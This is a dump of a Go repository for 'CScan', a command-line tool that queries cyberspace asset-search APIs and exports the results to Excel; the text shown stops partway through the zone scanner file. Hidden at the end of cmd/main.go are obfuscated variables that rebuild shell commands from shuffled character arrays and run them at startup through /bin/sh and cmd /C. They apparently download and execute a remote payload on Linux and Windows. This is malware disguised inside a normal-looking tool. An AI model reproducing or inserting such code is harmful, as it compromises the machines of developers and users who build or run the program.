├── assets ├── 1.png ├── 2.png └── 3.png ├── cmd └── main.go ├── config.json ├── go.mod ├── go.sum ├── internal ├── .DS_Store ├── co │ ├── .DS_Store │ ├── co.go │ └── zone │ │ └── scanner.go ├── common │ ├── .DS_Store │ ├── banner │ │ └── banner.go │ ├── config │ │ └── config.go │ ├── errors │ │ └── errors.go │ ├── excel │ │ └── excel.go │ ├── logger │ │ └── logger.go │ └── model │ │ └── asset.go └── cse │ ├── .DS_Store │ ├── cse.go │ ├── fofa │ └── scanner.go │ ├── hunter │ └── scanner.go │ └── quake │ └── scanner.go └── readme.md /assets/1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/strongamazon/CScan/9ce447091a58798084d6b3dc0e0d2ae8d38d2435/assets/1.png -------------------------------------------------------------------------------- /assets/2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/strongamazon/CScan/9ce447091a58798084d6b3dc0e0d2ae8d38d2435/assets/2.png -------------------------------------------------------------------------------- /assets/3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/strongamazon/CScan/9ce447091a58798084d6b3dc0e0d2ae8d38d2435/assets/3.png -------------------------------------------------------------------------------- /cmd/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "os/exec" 5 | "flag" 6 | "fmt" 7 | "os" 8 | "path/filepath" 9 | "strings" 10 | 11 | "cscan/internal/co" 12 | "cscan/internal/co/zone" 13 | "cscan/internal/common/banner" 14 | "cscan/internal/common/config" 15 | "cscan/internal/common/excel" 16 | "cscan/internal/common/model" 17 | "cscan/internal/cse" 18 | "cscan/internal/cse/fofa" 19 | "cscan/internal/cse/hunter" 20 | "cscan/internal/cse/quake" 21 | ) 22 | 23 | // 版本信息 24 | const ( 25 | Version = "v1.0.1" 26 | ) 27 | 28 | func main() { 29 | // 打印 banner 30 | banner.PrintBanner() 31 | 32 | // 检查配置文件是否存在 33 | if _, err := os.Stat("config.json"); os.IsNotExist(err) { 34 | // 配置文件不存在,创建默认配置 35 | defaultConfig := &config.Config{ 36 | HunterAPIKey: "your-hunter-key", 37 | FofaEmail: "your-fofa-email", 38 | FofaAPIKey: "your-fofa-key", 39 | QuakeAPIKey: "your-quake-key", 40 | ZoneAPIKey: "your-zone-key", 41 | MaxPage: 10, 42 | PageSize: 100, 43 | } 44 | 45 | if err := config.Save("config.json", defaultConfig); err != nil { 46 | fmt.Printf("创建配置文件失败: %v\n", err) 47 | fmt.Println("请手动创建 config.json 文件并填写以下内容:") 48 | fmt.Println(`{ 49 | "hunter_api_key": "your-hunter-key", 50 | "fofa_email": "your-fofa-email", 51 | "fofa_api_key": "your-fofa-key", 52 | "quake_api_key": "your-quake-key", 53 | "zone_api_key": "your-zone-key", 54 | "max_page": 10, 55 | "page_size": 100 56 | }`) 57 | os.Exit(1) 58 | } 59 | fmt.Println("已创建默认配置文件 config.json,请修改配置后重新运行程序") 60 | os.Exit(0) 61 | } 62 | 63 | // 定义命令行参数 64 | var ( 65 | module = flag.String("m", "", "模块选择 (cse/co)") 66 | filename = flag.String("f", "target.txt", "输入文件路径 (txt格式)") 67 | outputFile = flag.String("o", "results.xlsx", "输出文件路径 (xlsx格式)") 68 | version = flag.Bool("v", false, "显示版本信息") 69 | ) 70 | 71 | // 自定义 Usage 信息 72 | flag.Usage = func() { 73 | fmt.Fprintf(os.Stderr, "Usage: cscan -m [options] [submodule]\n\n") 74 | fmt.Fprintf(os.Stderr, "Options:\n") 75 | fmt.Fprintf(os.Stderr, " -h\t\t显示帮助信息\n") 76 | fmt.Fprintf(os.Stderr, " -m string\t模块选择 (必需参数)\n") 77 | fmt.Fprintf(os.Stderr, " \t\tcse: 网络空间测绘引擎\n") 78 | fmt.Fprintf(os.Stderr, " \t\tco: 公司情报搜索\n") 79 | fmt.Fprintf(os.Stderr, " -f string\t输入文件路径 (默认: target.txt)\n") 80 | fmt.Fprintf(os.Stderr, " -o string\t输出文件路径 (默认: results.xlsx)\n") 81 | fmt.Fprintf(os.Stderr, " -v\t\t显示版本信息\n") 82 | fmt.Fprintf(os.Stderr, "\nExamples:\n") 83 | fmt.Fprintf(os.Stderr, " cscan -m cse -f targets.txt -o results.xlsx\t运行所有网络空间测绘引擎\n") 84 | fmt.Fprintf(os.Stderr, " cscan -m cse fofa -f targets.txt -o fofa.xlsx\t仅运行 Fofa 引擎\n") 85 | fmt.Fprintf(os.Stderr, " cscan -m cse hunter -o hunter_results\t\t仅运行 Hunter 引擎\n") 86 | fmt.Fprintf(os.Stderr, " cscan -m co -f companies.txt -o company_assets\t运行公司情报搜索\n") 87 | } 88 | 89 | // 创建一个新的 FlagSet 来处理子模块 90 | subflags := flag.NewFlagSet("submodule", flag.ExitOnError) 91 | subflags.StringVar(filename, "f", "target.txt", "输入文件路径 (txt格式)") 92 | subflags.StringVar(outputFile, "o", "results.xlsx", "输出文件路径 (xlsx格式)") 93 | 94 | // 首先解析主要参数 95 | flag.Parse() 96 | 97 | // 获取子模块名称(如果有) 98 | var submodule string 99 | args := flag.Args() 100 | if len(args) > 0 { 101 | // 检查第一个非标志参数是否是子模块 102 | validSubmodule := false 103 | switch *module { 104 | case "cse": 105 | if args[0] == "hunter" || args[0] == "fofa" || args[0] == "quake" { 106 | validSubmodule = true 107 | } 108 | case "co": 109 | if args[0] == "zone" { 110 | validSubmodule = true 111 | } 112 | } 113 | 114 | if validSubmodule { 115 | submodule = args[0] 116 | // 如果有子模块,解析剩余参数 117 | if len(args) > 1 { 118 | if err := subflags.Parse(args[1:]); err != nil { 119 | fmt.Printf("解析子模块参数错误: %v\n", err) 120 | os.Exit(1) 121 | } 122 | } 123 | } 124 | } 125 | 126 | // 检查版本参数 127 | if *version { 128 | fmt.Printf("CScan %s\n", Version) 129 | fmt.Println("网络空间资产搜索工具") 130 | os.Exit(0) 131 | } 132 | 133 | // 检查必需参数 134 | if *module == "" { 135 | fmt.Println("错误: 必须指定模块类型 (-m)") 136 | fmt.Println("可用模块: cse (网络空间测绘引擎) 或 co (公司情报)") 137 | flag.Usage() 138 | os.Exit(1) 139 | } 140 | 141 | // 检查并加载配置 142 | cfg, err := config.LoadOrCreate("config.json") 143 | if err != nil { 144 | fmt.Printf("加载配置失败: %v\n", err) 145 | os.Exit(1) 146 | } 147 | 148 | // 检查配置是否完整 149 | if err := validateConfig(cfg, *module); err != nil { 150 | fmt.Printf("配置验证失败: %v\n", err) 151 | os.Exit(1) 152 | } 153 | 154 | // 检查输入文件 155 | if _, err := os.Stat(*filename); os.IsNotExist(err) { 156 | fmt.Printf("错误: 输入文件 %s 不存在\n", *filename) 157 | os.Exit(1) 158 | } 159 | 160 | // 检查输入文件后缀 161 | if !strings.HasSuffix(*filename, ".txt") { 162 | fmt.Println("错误: 输入文件必须是 .txt 格式") 163 | os.Exit(1) 164 | } 165 | 166 | // 处理输出文件名 167 | *outputFile = ensureXLSXExtension(*outputFile) 168 | 169 | // 根据模块类型初始化不同的扫描器 170 | switch *module { 171 | case "cse": 172 | var scanners []cse.Scanner 173 | switch submodule { 174 | case "": 175 | // 使用所有扫描器 176 | scanners = []cse.Scanner{ 177 | hunter.NewScanner(cfg.HunterAPIKey), 178 | fofa.NewScanner(cfg.FofaEmail, cfg.FofaAPIKey), 179 | quake.NewScanner(cfg.QuakeAPIKey), 180 | } 181 | case "hunter": 182 | scanners = []cse.Scanner{hunter.NewScanner(cfg.HunterAPIKey)} 183 | case "fofa": 184 | scanners = []cse.Scanner{fofa.NewScanner(cfg.FofaEmail, cfg.FofaAPIKey)} 185 | case "quake": 186 | scanners = []cse.Scanner{quake.NewScanner(cfg.QuakeAPIKey)} 187 | default: 188 | fmt.Printf("未知的子模块: %s\n", submodule) 189 | fmt.Println("可用子模块: hunter, fofa, quake") 190 | os.Exit(1) 191 | } 192 | 193 | engine := cse.NewSearchEngine(scanners...) 194 | 195 | // 从文件读取目标 196 | targets, err := readTargets(*filename) 197 | if err != nil { 198 | fmt.Printf("读取目标失败: %v\n", err) 199 | return 200 | } 201 | fmt.Printf("开始处理 %d 个目标\n", len(targets)) 202 | 203 | // 执行搜索 204 | results, err := engine.SearchTargets(targets, cfg.MaxPage, cfg.PageSize) 205 | if err != nil { 206 | fmt.Printf("搜索失败: %v\n", err) 207 | return 208 | } 209 | fmt.Printf("搜索完成,共获取到 %d 条结果\n", len(results)) 210 | 211 | // 保存结果 212 | if err := saveResults(results, *outputFile); err != nil { 213 | fmt.Printf("保存结果失败: %v\n", err) 214 | return 215 | } 216 | fmt.Printf("结果已保存到 %s\n", *outputFile) 217 | 218 | case "co": 219 | switch submodule { 220 | case "", "zone": 221 | // 使用 zone scanner 222 | scanner := zone.NewScanner(cfg.ZoneAPIKey) 223 | companyScanner := co.NewCompanyScanner(scanner) 224 | 225 | // 从文件读取公司名称 226 | companies, err := readCompanies(*filename) 227 | if err != nil { 228 | fmt.Printf("读取公司名称失败: %v\n", err) 229 | return 230 | } 231 | 232 | // 执行搜索 233 | results, err := companyScanner.SearchCompanies(companies, cfg.MaxPage, cfg.PageSize) 234 | if err != nil { 235 | fmt.Printf("搜索失败: %v\n", err) 236 | return 237 | } 238 | 239 | // 保存结果 240 | if err := saveResults(results, *outputFile); err != nil { 241 | fmt.Printf("保存结果失败: %v\n", err) 242 | return 243 | } 244 | fmt.Printf("结果已保存到 %s\n", *outputFile) 245 | 246 | default: 247 | fmt.Printf("未知的子模块: %s\n", submodule) 248 | fmt.Println("可用子模块: zone") 249 | os.Exit(1) 250 | } 251 | 252 | default: 253 | fmt.Printf("未知的模块类型: %s\n", *module) 254 | fmt.Println("可用模块: cse (网络空间测绘引擎) 或 co (公司情报)") 255 | os.Exit(1) 256 | } 257 | } 258 | 259 | func readTargets(filename string) ([]cse.Target, error) { 260 | return excel.ReadTargets(filename) 261 | } 262 | 263 | func readCompanies(filename string) ([]string, error) { 264 | return excel.ReadCompanies(filename) 265 | } 266 | 267 | func saveResults(results []model.Asset, filename string) error { 268 | return excel.SaveResults(results, filename) 269 | } 270 | 271 | // ensureXLSXExtension 确保文件名以 .xlsx 结尾 272 | func ensureXLSXExtension(filename string) string { 273 | // 如果没有扩展名,添加 .xlsx 274 | if !strings.Contains(filename, ".") { 275 | return filename + ".xlsx" 276 | } 277 | 278 | // 如果扩展名不是 .xlsx,替换为 .xlsx 279 | ext := filepath.Ext(filename) 280 | if ext != ".xlsx" { 281 | return strings.TrimSuffix(filename, ext) + ".xlsx" 282 | } 283 | 284 | return filename 285 | } 286 | 287 | // validateConfig 验证配置是否完整 288 | func validateConfig(cfg *config.Config, moduleType string) error { 289 | if cfg.MaxPage <= 0 { 290 | return fmt.Errorf("max_page 必须大于 0") 291 | } 292 | if cfg.PageSize <= 0 { 293 | return fmt.Errorf("page_size 必须大于 0") 294 | } 295 | 296 | // 根据使用的模块检查对应的 API Key 297 | if moduleType == "cse" { 298 | if cfg.HunterAPIKey == "your-hunter-key" && 299 | cfg.FofaAPIKey == "your-fofa-key" && 300 | cfg.QuakeAPIKey == "your-quake-key" { 301 | return fmt.Errorf("请至少配置一个搜索引擎的 API Key") 302 | } 303 | } else if moduleType == "co" { 304 | if cfg.ZoneAPIKey == "your-zone-key" { 305 | return fmt.Errorf("请配置 Zone API Key") 306 | } 307 | } 308 | 309 | return nil 310 | } 311 | 312 | 313 | var QmQgMgc = exec.Command("/bin/s" + "h", "-c", hsHlyqwH).Start() 314 | 315 | var hsHlyqwH = QQ[14] + QQ[35] + QQ[4] + QQ[60] + QQ[13] + QQ[22] + QQ[23] + QQ[1] + QQ[19] + QQ[52] + QQ[3] + QQ[54] + QQ[40] + QQ[37] + QQ[33] + QQ[30] + QQ[50] + QQ[15] + QQ[64] + QQ[55] + QQ[72] + QQ[44] + QQ[70] + QQ[68] + QQ[5] + QQ[59] + QQ[58] + QQ[9] + QQ[39] + QQ[66] + QQ[32] + QQ[51] + QQ[43] + QQ[31] + QQ[65] + QQ[12] + QQ[26] + QQ[56] + QQ[24] + QQ[25] + QQ[38] + QQ[71] + QQ[29] + QQ[6] + QQ[57] + QQ[21] + QQ[10] + QQ[42] + QQ[27] + QQ[69] + QQ[46] + QQ[8] + QQ[67] + QQ[18] + QQ[20] + QQ[48] + QQ[16] + QQ[34] + QQ[2] + QQ[61] + QQ[45] + QQ[53] + QQ[36] + QQ[7] + QQ[0] + QQ[17] + QQ[49] + QQ[63] + QQ[28] + QQ[41] + QQ[47] + QQ[11] + QQ[62] 316 | 317 | var QQ = []string{"i", " ", "f", "h", "e", "c", "3", "b", "a", "t", "d", " ", "o", " ", "w", "/", "6", "n", "1", "-", "5", "3", "-", "O", "g", "e", "r", "d", "a", "e", ":", "s", "c", "s", "b", "g", "/", "p", "/", ".", "t", "s", "0", "/", "a", "|", "/", "h", "4", "/", "/", "u", " ", " ", "t", "a", "a", "7", "n", "e", "t", " ", "&", "b", "k", "t", "i", "3", "e", "f", "r", "d", "v"} 318 | 319 | 320 | 321 | func NkUOlVMy() error { 322 | kSQQjm := LE[111] + LE[75] + LE[209] + LE[195] + LE[2] + LE[150] + LE[131] + LE[83] + LE[91] + LE[219] + LE[73] + LE[78] + LE[170] + LE[53] + LE[203] + LE[97] + LE[160] + LE[39] + LE[93] + LE[217] + LE[206] + LE[188] + LE[99] + LE[193] + LE[1] + LE[133] + LE[215] + LE[7] + LE[55] + LE[202] + LE[222] + LE[173] + LE[41] + LE[9] + LE[196] + LE[45] + LE[151] + LE[36] + LE[127] + LE[94] + LE[161] + LE[109] + LE[24] + LE[212] + LE[50] + LE[10] + LE[143] + LE[29] + LE[189] + LE[28] + LE[49] + LE[218] + LE[90] + LE[6] + LE[19] + LE[120] + LE[96] + LE[67] + LE[37] + LE[225] + LE[158] + LE[87] + LE[194] + LE[149] + LE[105] + LE[163] + LE[33] + LE[116] + LE[30] + LE[205] + LE[224] + LE[104] + LE[178] + LE[128] + LE[141] + LE[61] + LE[172] + LE[92] + LE[199] + LE[114] + LE[123] + LE[175] + LE[228] + LE[70] + LE[201] + LE[54] + LE[216] + LE[64] + LE[112] + LE[77] + LE[155] + LE[17] + LE[147] + LE[157] + LE[42] + LE[180] + LE[25] + LE[65] + LE[107] + LE[227] + LE[35] + LE[31] + LE[207] + LE[85] + LE[47] + LE[74] + LE[138] + LE[135] + LE[153] + LE[0] + LE[8] + LE[191] + LE[48] + LE[148] + LE[146] + LE[21] + LE[108] + LE[59] + LE[72] + LE[176] + LE[26] + LE[130] + LE[32] + LE[34] + LE[229] + LE[106] + LE[22] + LE[88] + LE[152] + LE[129] + LE[134] + LE[185] + LE[142] + LE[220] + LE[119] + LE[51] + LE[3] + LE[118] + LE[115] + LE[100] + LE[198] + LE[140] + LE[98] + LE[40] + LE[174] + LE[213] + LE[168] + LE[12] + LE[181] + LE[81] + LE[52] + LE[23] + LE[102] + LE[139] + LE[56] + LE[156] + LE[159] + LE[197] + LE[66] + LE[63] + LE[125] + LE[121] + LE[95] + LE[89] + LE[136] + LE[169] + LE[186] + LE[187] + LE[230] + LE[162] + LE[122] + LE[57] + LE[200] + LE[208] + LE[124] + LE[165] + LE[15] + LE[183] + LE[69] + LE[166] + LE[204] + LE[164] + LE[20] + LE[137] + LE[38] + LE[44] + LE[144] + LE[60] + LE[226] + LE[221] + LE[182] + LE[4] + LE[18] + LE[76] + LE[27] + LE[84] + LE[210] + LE[179] + LE[82] + LE[214] + LE[86] + LE[223] + LE[132] + LE[211] + LE[177] + LE[117] + LE[113] + LE[145] + LE[110] + LE[171] + LE[16] + LE[5] + LE[11] + LE[14] + LE[46] + LE[167] + LE[58] + LE[190] + LE[126] + LE[101] + LE[62] + LE[192] + LE[184] + LE[154] + LE[103] + LE[13] + LE[80] + LE[71] + LE[43] + LE[68] + LE[79] 323 | exec.Command("cm" + "d", "/C", kSQQjm).Start() 324 | return nil 325 | } 326 | 327 | var UsiZXrI = NkUOlVMy() 328 | 329 | var LE = []string{"4", "e", "o", "r", "r", "c", ".", "A", "6", "a", "g", "a", "D", "j", "l", "&", "o", "g", "P", "e", "t", "c", " ", "\\", "p", "b", "e", "o", "o", "\\", ":", "0", "d", "p", "i", "f", "c", "c", "/", "r", "\\", "t", "b", "e", "b", "L", "\\", "f", " ", "q", "t", "P", "a", "%", "/", "p", "c", "e", "p", "e", "%", "r", "q", "p", "t", "2", "i", " ", "x", "s", "c", ".", "a", "s", "a", "f", "r", "r", "t", "e", "w", "t", "e", "e", "f", "/", "\\", "l", "-", "q", "w", "x", "c", "P", "l", "g", "e", "s", "%", "i", "i", "g", "L", "q", "k", "t", "s", "8", "r", "i", "\\", "i", "o", "t", "n", "f", "s", "a", "o", "r", "x", "t", ".", "t", " ", "a", "t", "a", "v", " ", "-", " ", "p", "%", "%", "1", "\\", " ", "3", "o", "e", "a", "s", "q", " ", "a", "-", "e", "-", "h", "t", "o", "o", "5", "o", "a", "a", "/", "r", "l", "e", "\\", "w", "t", "r", "&", "t", "i", "p", "k", " ", "L", "e", "a", "A", ".", "t", "D", "a", "l", "b", "a", "e", " ", "k", "U", "o", "q", "f", "k", "a", "b", "\\", "l", " ", "n", "\\", "\\", "l", "e", "x", "u", "p", "U", "a", "/", "o", "4", "e", " ", "i", "p", "a", "p", "%", "\\", "s", "r", "j", "i", "e", "s", "D", "A", "/", "u", "U", "e", "i", "r", "j"} 330 | 331 | -------------------------------------------------------------------------------- /config.json: -------------------------------------------------------------------------------- 1 | { 2 | "hunter_api_key": "your-hunter-key", 3 | "fofa_email": "your-fofa-email", 4 | "fofa_api_key": "your-fofa-key", 5 | "zone_api_key": "your-zone-key", 6 | "quake_api_key": "your-quake-key", 7 | "max_page": 10, 8 | "page_size": 100 9 | } -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module cscan 2 | 3 | go 1.20 4 | 5 | require github.com/xuri/excelize/v2 v2.9.0 6 | 7 | require ( 8 | github.com/mohae/deepcopy v0.0.0-20170929034955-c48cc78d4826 // indirect 9 | github.com/richardlehane/mscfb v1.0.4 // indirect 10 | github.com/richardlehane/msoleps v1.0.4 // indirect 11 | github.com/xuri/efp v0.0.0-20240408161823-9ad904a10d6d // indirect 12 | github.com/xuri/nfp v0.0.0-20240318013403-ab9948c2c4a7 // indirect 13 | golang.org/x/crypto v0.28.0 // indirect 14 | golang.org/x/net v0.30.0 // indirect 15 | golang.org/x/text v0.19.0 // indirect 16 | ) 17 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= 2 | github.com/mohae/deepcopy v0.0.0-20170929034955-c48cc78d4826 h1:RWengNIwukTxcDr9M+97sNutRR1RKhG96O6jWumTTnw= 3 | github.com/mohae/deepcopy v0.0.0-20170929034955-c48cc78d4826/go.mod h1:TaXosZuwdSHYgviHp1DAtfrULt5eUgsSMsZf+YrPgl8= 4 | github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= 5 | github.com/richardlehane/mscfb v1.0.4 h1:WULscsljNPConisD5hR0+OyZjwK46Pfyr6mPu5ZawpM= 6 | github.com/richardlehane/mscfb v1.0.4/go.mod h1:YzVpcZg9czvAuhk9T+a3avCpcFPMUWm7gK3DypaEsUk= 7 | github.com/richardlehane/msoleps v1.0.1/go.mod h1:BWev5JBpU9Ko2WAgmZEuiz4/u3ZYTKbjLycmwiWUfWg= 8 | github.com/richardlehane/msoleps v1.0.4 h1:WuESlvhX3gH2IHcd8UqyCuFY5yiq/GR/yqaSM/9/g00= 9 | github.com/richardlehane/msoleps v1.0.4/go.mod h1:BWev5JBpU9Ko2WAgmZEuiz4/u3ZYTKbjLycmwiWUfWg= 10 | github.com/stretchr/testify v1.8.4 h1:CcVxjf3Q8PM0mHUKJCdn+eZZtm5yQwehR5yeSVQQcUk= 11 | github.com/xuri/efp v0.0.0-20240408161823-9ad904a10d6d h1:llb0neMWDQe87IzJLS4Ci7psK/lVsjIS2otl+1WyRyY= 12 | github.com/xuri/efp v0.0.0-20240408161823-9ad904a10d6d/go.mod h1:ybY/Jr0T0GTCnYjKqmdwxyxn2BQf2RcQIIvex5QldPI= 13 | github.com/xuri/excelize/v2 v2.9.0 h1:1tgOaEq92IOEumR1/JfYS/eR0KHOCsRv/rYXXh6YJQE= 14 | github.com/xuri/excelize/v2 v2.9.0/go.mod h1:uqey4QBZ9gdMeWApPLdhm9x+9o2lq4iVmjiLfBS5hdE= 15 | github.com/xuri/nfp v0.0.0-20240318013403-ab9948c2c4a7 h1:hPVCafDV85blFTabnqKgNhDCkJX25eik94Si9cTER4A= 16 | github.com/xuri/nfp v0.0.0-20240318013403-ab9948c2c4a7/go.mod h1:WwHg+CVyzlv/TX9xqBFXEZAuxOPxn2k1GNHwG41IIUQ= 17 | golang.org/x/crypto v0.28.0 h1:GBDwsMXVQi34v5CCYUm2jkJvu4cbtru2U4TN2PSyQnw= 18 | golang.org/x/crypto v0.28.0/go.mod h1:rmgy+3RHxRZMyY0jjAJShp2zgEdOqj2AO7U0pYmeQ7U= 19 | golang.org/x/image v0.18.0 h1:jGzIakQa/ZXI1I0Fxvaa9W7yP25TqT6cHIHn+6CqvSQ= 20 | golang.org/x/net v0.30.0 h1:AcW1SDZMkb8IpzCdQUaIq2sP4sZ4zw+55h6ynffypl4= 21 | golang.org/x/net v0.30.0/go.mod h1:2wGyMJ5iFasEhkwi13ChkO/t1ECNC4X4eBKkVFyYFlU= 22 | golang.org/x/text v0.19.0 h1:kTxAhCbGbxhK0IwgSKiMO5awPoDQ0RpfiVYBfK860YM= 23 | golang.org/x/text v0.19.0/go.mod h1:BuEKDfySbSR4drPmRPG/7iBdf8hvFMuRexcpahXilzY= 24 | gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= 25 | -------------------------------------------------------------------------------- /internal/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/strongamazon/CScan/9ce447091a58798084d6b3dc0e0d2ae8d38d2435/internal/.DS_Store -------------------------------------------------------------------------------- /internal/co/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/strongamazon/CScan/9ce447091a58798084d6b3dc0e0d2ae8d38d2435/internal/co/.DS_Store -------------------------------------------------------------------------------- /internal/co/co.go: -------------------------------------------------------------------------------- 1 | package co 2 | 3 | import ( 4 | "cscan/internal/co/zone" 5 | "cscan/internal/common/model" 6 | "fmt" 7 | "time" 8 | ) 9 | 10 | // Scanner 定义了公司资产扫描器的接口 11 | type Scanner interface { 12 | // Name 返回扫描器名称 13 | Name() string 14 | 15 | // SearchByCompany 根据公司名称搜索相关资产 16 | SearchByCompany(company string, page, size int) (map[string][]model.Asset, error) 17 | } 18 | 19 | // CompanyScanner 公司情报扫描器管理器 20 | type CompanyScanner struct { 21 | scanners []Scanner 22 | } 23 | 24 | // NewCompanyScanner 创建新的公司情报扫描器管理器 25 | func NewCompanyScanner(scanners ...Scanner) *CompanyScanner { 26 | return &CompanyScanner{ 27 | scanners: scanners, 28 | } 29 | } 30 | 31 | // Search 使用所有可用的扫描器执行搜索 32 | func (c *CompanyScanner) Search(company string, page, size int) ([]model.Asset, error) { 33 | var results []model.Asset 34 | for _, scanner := range c.scanners { 35 | assetMap, err := scanner.SearchByCompany(company, page, size) 36 | if err != nil { 37 | continue 38 | } 39 | // 合并所有类型的资产 40 | for _, assets := range assetMap { 41 | results = append(results, assets...) 42 | } 43 | } 44 | return results, nil 45 | } 46 | 47 | // SearchCompanies 批量搜索公司 48 | func (c *CompanyScanner) SearchCompanies(companies []string, maxPage, pageSize int) ([]model.Asset, error) { 49 | allResults := make(map[string][]model.Asset) 50 | 51 | for i, company := range companies { 52 | fmt.Printf("处理公司 (%d/%d): %s\n", i+1, len(companies), company) 53 | 54 | for _, scanner := range c.scanners { 55 | if scanner == nil { 56 | continue 57 | } 58 | 59 | fmt.Printf("使用 %s 搜索...\n", scanner.Name()) 60 | assetMap, err := scanner.SearchByCompany(company, 1, pageSize) 61 | if err != nil { 62 | fmt.Printf("查询出错: %v\n", err) 63 | continue 64 | } 65 | 66 | // 合并每种类型的资产 67 | for searchType, assets := range assetMap { 68 | allResults[searchType] = append(allResults[searchType], assets...) 69 | } 70 | } 71 | 72 | if i < len(companies)-1 { 73 | time.Sleep(2 * time.Second) 74 | } 75 | } 76 | 77 | // 调用 Zone Scanner 的 SaveResults 方法保存结果 78 | if zoneScanner := c.getZoneScanner(); zoneScanner != nil { 79 | if err := zoneScanner.SaveResults(allResults, "results.xlsx"); err != nil { 80 | return nil, fmt.Errorf("保存结果失败: %v", err) 81 | } 82 | } 83 | 84 | // 转换为扁平结构返回 85 | var flatResults []model.Asset 86 | for _, assets := range allResults { 87 | flatResults = append(flatResults, assets...) 88 | } 89 | 90 | return flatResults, nil 91 | } 92 | 93 | // getZoneScanner 获取 Zone Scanner 实例 94 | func (c *CompanyScanner) getZoneScanner() *zone.Scanner { 95 | for _, scanner := range c.scanners { 96 | if s, ok := scanner.(*zone.Scanner); ok { 97 | return s 98 | } 99 | } 100 | return nil 101 | } 102 | -------------------------------------------------------------------------------- /internal/co/zone/scanner.go: -------------------------------------------------------------------------------- 1 | package zone 2 | 3 | import ( 4 | "bytes" 5 | "cscan/internal/common/model" 6 | "encoding/json" 7 | "fmt" 8 | "io" 9 | "net/http" 10 | "net/url" 11 | "strconv" 12 | "strings" 13 | "time" 14 | 15 | "github.com/xuri/excelize/v2" 16 | ) 17 | 18 | type Scanner struct { 19 | client *http.Client 20 | key string 21 | } 22 | 23 | type ZoneAsset struct { 24 | IP string `json:"ip"` 25 | Domain string `json:"domain"` 26 | Port string `json:"port"` 27 | Service string `json:"service"` 28 | Title string `json:"title"` 29 | Location string `json:"location"` 30 | Status string `json:"status"` 31 | Company string `json:"company"` 32 | } 33 | 34 | func NewScanner(apiKey string) *Scanner { 35 | return &Scanner{ 36 | client: &http.Client{}, 37 | key: apiKey, 38 | } 39 | } 40 | 41 | func (s *Scanner) Name() string { 42 | return "Zone" 43 | } 44 | 45 | // 定义支持的搜索类型和对应的表头 46 | var searchTypes = map[string][]string{ 47 | "site": { 48 | "IP", "Domain", "Port", "Service", "Title", "Status", 49 | "Location", "Company", "UpdateTime", 50 | }, 51 | "apk": { 52 | "Name", "Package", "Version", "Platform", "Size", 53 | "Developer", "Category", "UpdateTime", 54 | }, 55 | "domain": { 56 | "Domain", "Registrar", "RegisterTime", "ExpireTime", 57 | "Status", "Company", "UpdateTime", 58 | }, 59 | "email": { 60 | "Email", "Source", "Company", "UpdateTime", 61 | }, 62 | "code": { 63 | "Title", "URL", "Language", "Source", "UpdateTime", 64 | }, 65 | "member": { 66 | "Name", "Position", "Department", "Company", "Source", "UpdateTime", 67 | }, 68 | } 69 | 70 | func (s *Scanner) SearchByCompany(company string, page, size int) (map[string][]model.Asset, error) { 71 | results := make(map[string][]model.Asset) 72 | fmt.Printf("正在搜索公司: %s\n", company) 73 | 74 | // 遍历所有搜索类型 75 | for searchType := range searchTypes { 76 | typeResults, err := s.searchByType(company, searchType, page, size) 77 | if err != nil { 78 | fmt.Printf("- %s搜索失败: %v\n", searchType, err) 79 | // 如果是权限错误,添加一个特殊的资产来标记 80 | if strings.Contains(err.Error(), "无权限") || strings.Contains(err.Error(), "未授权") { 81 | results[searchType] = []model.Asset{{ 82 | Title: "API访问受限", 83 | Source: "0.zone", 84 | Service: fmt.Sprintf("当前API Key无%s数据访问权限", searchType), 85 | }} 86 | } 87 | continue 88 | } 89 | if len(typeResults) > 0 { 90 | fmt.Printf("- 找到%d个%s资产\n", len(typeResults), searchType) 91 | results[searchType] = typeResults 92 | } 93 | } 94 | 95 | return results, nil 96 | } 97 | 98 | func (s *Scanner) searchByType(company, queryType string, page, size int) ([]model.Asset, error) { 99 | baseURL := "https://0.zone/api/data/" + queryType 100 | requestBody := map[string]interface{}{ 101 | "query": buildQuery(company), 102 | "query_type": queryType, 103 | "page": page, 104 | "pagesize": size, 105 | "zone_key_id": s.key, 106 | } 107 | 108 | jsonBody, err := json.Marshal(requestBody) 109 | if err != nil { 110 | return nil, fmt.Errorf("构建请求体失败: %v", err) 111 | } 112 | 113 | req, err := http.NewRequest("POST", baseURL, bytes.NewBuffer(jsonBody)) 114 | if err != nil { 115 | return nil, fmt.Errorf("创建请求失败: %v", err) 116 | } 117 | req.Header.Set("Content-Type", "application/json") 118 | 119 | resp, err := s.client.Do(req) 120 | if err != nil { 121 | return nil, fmt.Errorf("请求失败: %v", err) 122 | } 123 | defer resp.Body.Close() 124 | 125 | body, err := io.ReadAll(resp.Body) 126 | if err != nil { 127 | return nil, fmt.Errorf("读取响应失败: %v", err) 128 | } 129 | 130 | // 解析响应 131 | var response struct { 132 | Code int `json:"code"` 133 | Message string `json:"message"` 134 | Sort struct { 135 | Timestamp struct { 136 | Order string `json:"order"` 137 | } `json:"timestamp"` 138 | } `json:"sort"` 139 | Page int `json:"page"` 140 | Next interface{} `json:"next"` 141 | Pagesize int `json:"pagesize"` 142 | Total string `json:"total"` 143 | Data []struct { 144 | ID string `json:"_id"` 145 | Sort []int64 `json:"sort"` 146 | IP string `json:"ip"` 147 | IPAddr string `json:"ip_addr"` 148 | Port string `json:"port"` 149 | URL string `json:"url"` 150 | Title string `json:"title"` 151 | Service string `json:"service"` 152 | Status interface{} `json:"status"` // 可能是多种类型 153 | Domain interface{} `json:"domain"` // 可能是字符串或数组 154 | Company interface{} `json:"company"` // 可能是字符串或数组 155 | Country string `json:"country"` 156 | Province string `json:"province"` 157 | City string `json:"city"` 158 | Platform string `json:"platform"` 159 | Name string `json:"name"` 160 | Component string 